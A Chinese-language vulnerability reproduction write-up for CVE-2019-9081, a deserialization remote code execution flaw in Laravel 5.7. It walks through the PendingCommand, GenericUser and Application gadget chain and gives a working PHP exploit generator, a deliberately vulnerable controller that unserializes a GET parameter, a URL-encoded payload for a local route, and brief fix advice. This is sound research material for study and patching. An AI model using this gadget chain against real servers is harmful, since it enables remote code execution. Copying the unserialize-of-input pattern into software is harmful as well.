CVE-2019-9081 Laravel5.7 反序列化 RCE復現
漏洞簡介
Laravel Framework 5.7.x版本中的Illuminate組件存在反序列化漏洞,遠程攻擊者可利用該漏洞執行代碼。
漏洞影響
Laravel5.7
漏洞分析
laravel在5.7之后加入了PendingCommand類,同時發現了兩個方法。

PendingCommand類有魔術方法__destruct(),該方法調用run函數,然后run函數執行命令,我們跟進看一下構造方法。

一共需要用到4個屬性,我們繼續跟進run方法看一下。

注意$this->mockConsoleOutput();我們跟進看一下。

繼續跟進createABufferedOutputMock()。

繼續走下去,我們需要屬性$this->test->expectedOutput。

我們需要找到類中用expectedOutput,經過全局搜索,在Illuminate\Foundation\Testing\Concerns,存在。
但是這種類,需要用魔法方法get,來實例化。
在vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php中存在可以利用的get方法。

設置鍵名為expectedOutput的數組,即可利用。現在就缺$app參數,我們回去接著跟進run方法。

這里也很重要:
$this->app[Kernel::class]
這里在實例化對象,再去調對應的call方法,跟著Kerne可以看到是在實例化。
Illuminate\Contracts\Console\Kernel
首先進入到:

跟進make方法:

跟進父類的make:

跟進resolve:

那么此時發現$concrete的值來自于getConcrete($abstract):
vendor/laravel/framework/src/Illuminate/Container/Container.php
跟進getConcrete:

注意這里:
if (isset($this->bindings[$abstract])) { return $this->bindings[$abstract]['concrete'];}
如果bindings[$abstract]存在,則會返回bindings[$abstract][‘concrete’]。
bindings是類Container的屬性,并且類Container中也有可以RCE的call方法。
到現在,我們可以整理一下思路:
我們可以任意實例化類Container的子類,這樣在其子類調用call的時候,會觸發類Container的call方法,那么即可達成RCE
我們選擇Illuminate\Foundation\Application而$abstract的值為Illuminate\Contracts\Console\Kernel。
那么此時我們容易知道$bindings只要存在鍵名為Illuminate\Contracts\Console\Kernel的數組,就能進入該if條件句,那么我們只要按如下進行構造:
1.類PendingCommand 利用 destruct觸發run()方法2.類vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 構造數組3.類vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 利用 get()魔法方法滿足mockConsoleOutput4.利用任意實例化對象,實例化Illuminate\Foundation\Application5.調用call觸發父類call方法RCE
exp如下:
namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app){ $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } }} namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } }} namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } }} namespace{ $genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))); $application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("phpinfo",array('1'),$genericuser,$application); echo urlencode(serialize($pendingcommand));}?>
漏洞復現
在routes/web.php添加一條路由:
Route::get('/index', 'TaskController@index');
接下來在app/Http/Controllers文件夾下創建文件TaskController.php,源碼如下:
namespace App\Http\Controllers;highlight_file(__FILE__);class TaskController{ public function index(){ if(isset($_GET['code'])) { $code=$_GET['code']; unserialize($code); return "Welcome to H3'palce"; } }}?>
利用exp生成payload,然后傳值過去。
payload:
http://127.0.0.1/public/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

漏洞修復
- 刪除__destruct中的$this->run()代碼段
- 更新到新版本
